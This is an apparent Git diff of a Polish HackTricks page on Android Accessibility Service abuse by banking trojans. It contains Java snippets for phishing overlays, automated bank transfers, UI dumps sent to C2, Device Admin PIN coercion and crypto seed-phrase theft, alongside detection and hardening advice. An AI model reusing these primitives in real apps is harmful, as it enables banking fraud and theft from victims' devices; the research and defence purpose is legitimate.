| - "Další" → "Dalej" | ||||
| - "Odeslat" → "Wyślij" | ||||
| - "Ano, pokračovat" → "Tak, kontynuuj" | ||||
| - "Zaplatit" → "Zapłać" | ||||
| - "Hotovo" → "Gotowe" | ||||
| 
 | ||||
| Operatorzy mogą również sprawdzać/podwyższać limity przelewów za pomocą komend takich jak `check_limit` i `limit`, które w podobny sposób nawigują po limits UI. | ||||
| 
 | ||||
| ### Crypto wallet seed extraction | ||||
| Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages. | ||||
| 
 | ||||
| ### Device Admin coercion | ||||
| Device Admin APIs są używane do zwiększenia możliwości przechwytywania PIN oraz zniechęcenia ofiary: | ||||
| 
 | ||||
| - Natychmiastowa blokada: | ||||
| ```java | ||||
| dpm.lockNow(); | ||||
| ``` | ||||
| - Wygaszenie bieżącego poświadczenia w celu wymuszenia zmiany (Accessibility przechwytuje nowy PIN/hasło): | ||||
| ```java | ||||
| dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner | ||||
| ``` | ||||
| - Wymuś odblokowanie bez biometrii, wyłączając funkcje biometryczne keyguard: | ||||
| ```java | ||||
| dpm.setKeyguardDisabledFeatures(admin, | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); | ||||
| ``` | ||||
| Uwaga: Wiele kontroli DevicePolicyManager wymaga Device Owner/Profile Owner na nowszych Android; niektóre buildy OEM mogą być luźne. Zawsze weryfikuj na docelowym OS/OEM. | ||||
| 
 | ||||
| ### NFC relay orchestration (NFSkate) | ||||
| Stage-3 może zainstalować i uruchomić zewnętrzny moduł NFC-relay (np. NFSkate) i nawet przekazać mu szablon HTML, który poprowadzi ofiarę podczas relay. To umożliwia bezstykowe card-present cash-out obok online ATS. | ||||
| 
 | ||||
| Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). | ||||
| 
 | ||||
| ### Operator command set (sample) | ||||
| - UI/stan: `txt_screen`, `screen_live`, `display`, `record` | ||||
| - Społeczne: `send_push`, `Facebook`, `WhatsApp` | ||||
| - Nakładki: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` | ||||
| - Portfele: `metamask`, `trust`, `blockchain`, `phantom` | ||||
| - ATS: `transfer`, `check_limit`, `limit` | ||||
| - Urządzenie: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` | ||||
| - Komunikacja/rozpoznanie: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` | ||||
| - NFC: `nfs`, `nfs_inject` | ||||
| 
 | ||||
| ### Detection & defence ideas (RatOn-style) | ||||
| - Szukaj WebViewów z `addJavascriptInterface()` ujawniającymi metody instalatora/uprawnień; strony kończące się na “/access”, które wywołują monity Accessibility. | ||||
| - Generuj alerty dla aplikacji, które generują dużą liczbę gestów/kliknięć Accessibility krótko po przyznaniu dostępu do usługi; telemetria przypominająca zrzuty węzłów Accessibility wysyłana do C2. | ||||
| - Monitoruj zmiany polityki Device Admin w niezastrzeżonych aplikacjach: `lockNow`, wygasanie haseł, przełączniki funkcji keyguard. | ||||
| - Alarmuj przy monitach MediaProjection z aplikacji niekorporacyjnych, po których następują okresowe przesyły ramek. | ||||
| - Wykrywaj instalację/uruchomienie zewnętrznej aplikacji NFC-relay wywołanej przez inną aplikację. | ||||
| - Dla bankowości: egzekwuj potwierdzenia poza kanałem, powiązanie z biometrią oraz limity transakcji odporne na automatyzację na urządzeniu. | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) | ||||
| - [Luban – Android image compression library](https://github.com/Curzibn/Luban) | ||||
| - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) | ||||
| - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) | ||||
| - [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) | ||||
| - [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -1,20 +1,20 @@ | ||||
| # Nadużycie usługi dostępności Androida | ||||
| # Nadużycie Accessibility Service w Androidzie | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## Przegląd | ||||
| 
 | ||||
| `AccessibilityService` został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety, te same **potężne API automatyzacji** (globalna nawigacja, wprowadzanie tekstu, dyspozycja gestów, okna nakładek…) mogą być wykorzystane przez złośliwe oprogramowanie do uzyskania **pełnej zdalnej kontroli** nad urządzeniem _bez uprawnień roota_. | ||||
| `AccessibilityService` został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety te same **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) mogą zostać zbrojne przez malware, aby uzyskać **pełną zdalną kontrolę** nad urządzeniem _bez uprawnień root_. | ||||
| 
 | ||||
| Nowoczesne trojany bankowe Androida i trojany zdalnego dostępu (RAT) takie jak **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i wiele innych stosują ten sam schemat: | ||||
| Nowoczesne Android banking Trojans i Remote-Access-Trojans (RATs) takie jak **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i wiele innych stosują ten sam schemat: | ||||
| 
 | ||||
| 1. Wykorzystać inżynierię społeczną, aby ofiara włączyła złośliwą usługę dostępności (uprawnienie *BIND_ACCESSIBILITY_SERVICE* jest uważane za "wysokiego ryzyka" i wymaga wyraźnej akcji użytkownika). | ||||
| 1. Social-engineer ofiarę, aby włączyła złośliwą usługę accessibility (uprawnienie *BIND_ACCESSIBILITY_SERVICE* jest uznawane za "high-risk" i wymaga wyraźnej akcji użytkownika). | ||||
| 2. Wykorzystać usługę do | ||||
| * przechwytywania każdego zdarzenia UI i tekstu, który pojawia się na ekranie, | ||||
| * wstrzykiwania syntetycznych gestów (`dispatchGesture`) i globalnych akcji (`performGlobalAction`), aby zautomatyzować dowolne zadanie, które operator pragnie, | ||||
| * rysowania nakładek na pełnym ekranie na wierzchu legalnych aplikacji przy użyciu typu okna **TYPE_ACCESSIBILITY_OVERLAY** (bez monitu `SYSTEM_ALERT_WINDOW`!), | ||||
| * cichego przyznawania dodatkowych uprawnień w czasie rzeczywistym, klikając w okna dialogowe systemowe w imieniu ofiary. | ||||
| 3. Ekstrahować dane lub przeprowadzać **On-Device-Fraud (ODF)** w czasie rzeczywistym, podczas gdy użytkownik patrzy na zupełnie normalny ekran. | ||||
| * capture every UI event & text that appears on screen, | ||||
| * inject synthetic gestures (`dispatchGesture`) and global actions (`performGlobalAction`) to automate any task the operator desires, | ||||
| * draw full-screen overlays on top of legitimate apps using the **TYPE_ACCESSIBILITY_OVERLAY** window type (no `SYSTEM_ALERT_WINDOW` prompt!), | ||||
| * silently grant additional runtime permissions by clicking on the system dialogs on the victim’s behalf. | ||||
| 3. Eksfiltrować dane lub przeprowadzać **On-Device-Fraud (ODF)** w czasie rzeczywistym, podczas gdy użytkownik patrzy na pozornie normalny ekran. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| @ -34,7 +34,7 @@ android:exported="false"> | ||||
| android:resource="@xml/evil_accessibility_config"/> | ||||
| </service> | ||||
| ``` | ||||
| Towarzyszący plik XML definiuje, jak będzie wyglądać fałszywe okno dialogowe: | ||||
| Towarzyszący plik XML określa, jak będzie wyglądać fałszywy dialog: | ||||
| ```xml | ||||
| <?xml version="1.0" encoding="utf-8"?> | ||||
| <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" | ||||
| @ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/> | ||||
| ``` | ||||
| --- | ||||
| 
 | ||||
| ## Zdalne prymitywy automatyzacji UI | ||||
| ## Zdalne prymitywy automatyzacji interfejsu użytkownika | ||||
| ```java | ||||
| public class EvilService extends AccessibilityService { | ||||
| @Override | ||||
| @ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Z tymi dwoma API atakujący może: | ||||
| * Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i złożyć formularz przelewu. | ||||
| * Akceptować każde okno dialogowe z prośbą o pozwolenie, które się pojawi. | ||||
| * Instalować/aktualizować dodatkowe APK za pomocą intencji Sklepu Play. | ||||
| Posiadając tylko te dwa API, atakujący może: | ||||
| * Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i wysłać formularz przelewu. | ||||
| * Zaakceptować każde okno dialogowe uprawnień, które się pojawi. | ||||
| * Zainstalować/zaktualizować dodatkowe APK via the Play Store intent. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Wzorce nadużyć | ||||
| 
 | ||||
| ### 1. Phishing przez nakładki (Zbieranie poświadczeń) | ||||
| Przezroczysty lub nieprzezroczysty `WebView` jest dodawany do menedżera okien: | ||||
| ### 1. Overlay Phishing (Credential Harvesting) | ||||
| Do menedżera okien dodawany jest przezroczysty lub nieprzezroczysty `WebView`: | ||||
| ```java | ||||
| WindowManager.LayoutParams lp = new WindowManager.LayoutParams( | ||||
| MATCH_PARENT, MATCH_PARENT, | ||||
| @ -87,59 +87,147 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real | ||||
| PixelFormat.TRANSLUCENT); | ||||
| wm.addView(phishingView, lp); | ||||
| ``` | ||||
| Ofiara wpisuje dane uwierzytelniające w fałszywym formularzu, podczas gdy aplikacja w tle odbiera te same gesty – nigdy nie jest wyświetlany podejrzany komunikat "rysuj nad innymi aplikacjami". | ||||
| Ofiara wpisuje poświadczenia do fałszywego formularza, podczas gdy aplikacja w tle otrzymuje te same gesty — nigdy nie pojawia się podejrzany monit "draw over other apps". | ||||
| 
 | ||||
| > Szczegółowy przykład: sekcja *Phishing przez nakładkę dostępności* na stronie Tapjacking. | ||||
| > Szczegółowy przykład: sekcja *Accessibility Overlay Phishing* wewnątrz strony Tapjacking. | ||||
| 
 | ||||
| ### 2. Automatyzacja oszustw na urządzeniu | ||||
| Rodziny złośliwego oprogramowania, takie jak **PlayPraetor**, utrzymują stały kanał WebSocket, w którym operator może wydawać polecenia na wysokim poziomie (`init`, `update`, `alert_arr`, `report_list`, …). Usługa tłumaczy te polecenia na niskopoziomowe gesty, osiągając nieautoryzowane transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe związane z tym urządzeniem. | ||||
| Malware families takie jak **PlayPraetor** utrzymują trwały kanał WebSocket, gdzie operator może wydawać wysokopoziomowe polecenia (`init`, `update`, `alert_arr`, `report_list`, …). Serwis tłumaczy te polecenia na niskopoziomowe gesty opisane wyżej, osiągając transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe powiązane z tym urządzeniem. | ||||
| 
 | ||||
| ### 3. Streaming i monitorowanie ekranu | ||||
| Łącząc **MediaProjection API** z biblioteką klienta RTMP, RAT może transmitować na żywo bufor ramki do `rtmp://<c2>:1935/live/<device_id>`, dając przeciwnikowi doskonałą świadomość sytuacyjną, podczas gdy silnik dostępności obsługuje interfejs użytkownika. | ||||
| ### 3. Screen streaming & monitoring | ||||
| Łącząc **MediaProjection API** z biblioteką klienta RTMP, RAT może nadawać żywy framebuffer do `rtmp://<c2>:1935/live/<device_id>`, dając atakującemu pełną świadomość sytuacyjną, podczas gdy silnik Accessibility steruje UI. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## PlayPraetor – przepływ pracy dowodzenia i kontroli | ||||
| ## PlayPraetor – command & control workflow | ||||
| 
 | ||||
| 1. **HTTP(S) heartbeat** – iteruj po twardo zakodowanej liście, aż jedna domena odpowie `POST /app/searchPackageName` z aktywnym C2. | ||||
| 2. **WebSocket (port 8282)** – dwukierunkowe polecenia JSON: | ||||
| * `update` – wprowadź nowe conf/APK | ||||
| * `alert_arr` – skonfiguruj szablony nakładek | ||||
| * `report_list` – wyślij listę docelowych nazw pakietów | ||||
| * `heartbeat_web` – utrzymanie połączenia | ||||
| 3. **RTMP (port 1935)** – transmisja na żywo ekranu/wideo. | ||||
| 1. **HTTP(S) heartbeat** – iteruj po hard-coded liście aż jedna domena odpowie `POST /app/searchPackageName` z aktywnym C2. | ||||
| 2. **WebSocket (port 8282)** – bidirectional JSON commands: | ||||
| * `update` – push new conf/APKs | ||||
| * `alert_arr` – configure overlay templates | ||||
| * `report_list` – send list of targeted package names | ||||
| * `heartbeat_web` – keep-alive | ||||
| 3. **RTMP (port 1935)** – live screen/video streaming. | ||||
| 4. **REST exfiltration** – | ||||
| * `/app/saveDevice` (odcisk palca) | ||||
| * `/app/saveDevice` (fingerprint) | ||||
| * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` | ||||
| * `/app/saveCardPwd` (dane bankowe) | ||||
| * `/app/saveCardPwd` (bank creds) | ||||
| 
 | ||||
| **AccessibilityService** to lokalny silnik, który przekształca te polecenia w interakcje fizyczne. | ||||
| The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Wykrywanie złośliwych usług dostępności | ||||
| ## Wykrywanie złośliwych accessibility services | ||||
| 
 | ||||
| * `adb shell settings get secure enabled_accessibility_services` | ||||
| * Ustawienia → Dostępność → *Pobrane usługi* – szukaj aplikacji, które **nie** pochodzą z Google Play. | ||||
| * Rozwiązania MDM / EMM mogą wymuszać `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) w celu zablokowania usług zainstalowanych zewnętrznie. | ||||
| * Analizuj działające usługi: | ||||
| * Settings → Accessibility → *Downloaded services* – sprawdź aplikacje, które **nie** pochodzą z Google Play. | ||||
| * MDM / EMM solutions mogą egzekwować `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) aby zablokować sideloaded services. | ||||
| * Analizuj uruchomione usługi: | ||||
| ```bash | ||||
| adb shell dumpsys accessibility | grep "Accessibility Service" | ||||
| ``` | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Rekomendacje dotyczące wzmocnienia dla deweloperów aplikacji | ||||
| ## Zalecenia dotyczące hardeningu dla deweloperów aplikacji | ||||
| 
 | ||||
| * Oznacz wrażliwe widoki jako `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). | ||||
| * Połącz `setFilterTouchesWhenObscured(true)` z `FLAG_SECURE`, aby zapobiec przechwytywaniu dotyków/nakładek. | ||||
| * Wykrywaj nakładki, sprawdzając `WindowManager.getDefaultDisplay().getFlags()` lub API `ViewRootImpl`. | ||||
| * Odmów działania, gdy `Settings.canDrawOverlays()` **lub** aktywna jest nieufna usługa dostępności. | ||||
| * Oznacz wrażliwe widoki za pomocą `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). | ||||
| * Połącz `setFilterTouchesWhenObscured(true)` z `FLAG_SECURE` aby zapobiegać tap/overlay hijacking. | ||||
| * Wykrywaj overlays poprzez odpytywanie `WindowManager.getDefaultDisplay().getFlags()` lub API `ViewRootImpl`. | ||||
| * Odmów działania gdy `Settings.canDrawOverlays()` **lub** nie-zaufana usługa Accessibility jest aktywna. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Referencje | ||||
| ## ATS automation cheat-sheet (Accessibility-driven) | ||||
| Malware może w pełni zautomatyzować aplikację bankową korzystając wyłącznie z Accessibility APIs. Ogólne prymitywy: | ||||
| ```java | ||||
| // Helpers inside your AccessibilityService | ||||
| private List<AccessibilityNodeInfo> byText(String t){ | ||||
| AccessibilityNodeInfo r = getRootInActiveWindow(); | ||||
| return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); | ||||
| } | ||||
| private boolean clickText(String t){ | ||||
| for (AccessibilityNodeInfo n: byText(t)){ | ||||
| if (n.isClickable()) return n.performAction(ACTION_CLICK); | ||||
| AccessibilityNodeInfo p = n.getParent(); | ||||
| if (p != null) return p.performAction(ACTION_CLICK); | ||||
| } | ||||
| return false; | ||||
| } | ||||
| private void inputText(AccessibilityNodeInfo field, String text){ | ||||
| Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); | ||||
| field.performAction(ACTION_SET_TEXT, b); | ||||
| } | ||||
| private void tap(float x, float y){ | ||||
| Path p = new Path(); p.moveTo(x,y); | ||||
| dispatchGesture(new GestureDescription.Builder() | ||||
| .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); | ||||
| } | ||||
| ``` | ||||
| Przykładowy przebieg (czeskie → angielskie etykiety): | ||||
| - "Nová platba" (Nowa płatność) → kliknij | ||||
| - "Zadat platbu" (Wprowadź płatność) → kliknij | ||||
| - "Nový příjemce" (Nowy odbiorca) → kliknij | ||||
| - "Domácí číslo účtu" (Krajowy numer rachunku) → ustaw fokus i `ACTION_SET_TEXT` | ||||
| - "Další" (Dalej) → kliknij → … "Zaplatit" (Zapłać) → kliknij → wprowadź PIN | ||||
| 
 | ||||
| Plan awaryjny: twardo zakodowane współrzędne z użyciem `dispatchGesture`, gdy wyszukiwanie tekstu zawodzi z powodu niestandardowych widgetów. | ||||
| 
 | ||||
| Również zaobserwowano: kroki przygotowawcze prowadzące do `check_limit` i `limit` przez przejście do interfejsu limitów i zwiększenie dziennych limitów przed przelewem. | ||||
| 
 | ||||
| ## Pseudo-strumieniowanie ekranu oparte na tekście | ||||
| Dla zdalnego sterowania o niskim opóźnieniu, zamiast pełnego strumieniowania wideo, zrzucaj tekstową reprezentację bieżącego drzewa UI i wielokrotnie wysyłaj ją do C2. | ||||
| ```java | ||||
| private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ | ||||
| if (n==null) return; | ||||
| Rect b = new Rect(); n.getBoundsInScreen(b); | ||||
| CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); | ||||
| sb.append(indent).append("[").append(cls).append("] ") | ||||
| .append(txt==null?"":txt).append(" ") | ||||
| .append(b.toShortString()).append("\n"); | ||||
| for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb); | ||||
| } | ||||
| ``` | ||||
| This is the basis for commands like `txt_screen` (jednorazowe) and `screen_live` (ciągłe). | ||||
| 
 | ||||
| ## Device Admin — prymitywy wymuszania | ||||
| 
 | ||||
| Po aktywacji odbiornika Device Admin, te wywołania zwiększają możliwości przechwycenia poświadczeń i utrzymania kontroli: | ||||
| ```java | ||||
| DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); | ||||
| ComponentName admin = new ComponentName(this, AdminReceiver.class); | ||||
| 
 | ||||
| // 1) Immediate lock | ||||
| dpm.lockNow(); | ||||
| 
 | ||||
| // 2) Force credential change (expire current PIN/password) | ||||
| dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android | ||||
| 
 | ||||
| // 3) Disable biometric unlock to force PIN/pattern entry | ||||
| int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; | ||||
| dpm.setKeyguardDisabledFeatures(admin, flags); | ||||
| ``` | ||||
| Uwaga: dokładna dostępność tych polityk zależy od wersji Android i OEM; podczas testów sprawdź rolę polityki urządzenia (admin vs owner). | ||||
| 
 | ||||
| ## Crypto wallet seed-phrase extraction patterns | ||||
| Obserwowane przepływy dla MetaMask, Trust Wallet, Blockchain.com i Phantom: | ||||
| - Odblokowanie skradzionym PIN-em (przechwyconym za pomocą overlay/Accessibility) lub podanym hasłem do portfela. | ||||
| - Nawigacja: Settings → Security/Recovery → Reveal/Show recovery phrase. | ||||
| - Zbieranie frazy poprzez keylogging węzłów tekstowych, obejście secure-screen lub screenshot OCR gdy tekst jest zasłonięty. | ||||
| - Wsparcie wielu lokalizacji (EN/RU/CZ/SK) w celu stabilizacji selektorów – preferuj `viewIdResourceName` gdy dostępne, w przeciwnym razie dopasowywanie tekstu wielojęzycznego. | ||||
| 
 | ||||
| ## NFC-relay orchestration | ||||
| Moduły Accessibility/RAT mogą zainstalować i uruchomić dedykowaną aplikację NFC-relay (np. NFSkate) jako trzeci etap, a nawet wstrzyknąć overlay z instrukcjami, aby przeprowadzić ofiarę przez kroki relay wymagające obecności karty. | ||||
| 
 | ||||
| Tło i TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## References | ||||
| * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) | ||||
| * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) | ||||
| * [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) | ||||
| * [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user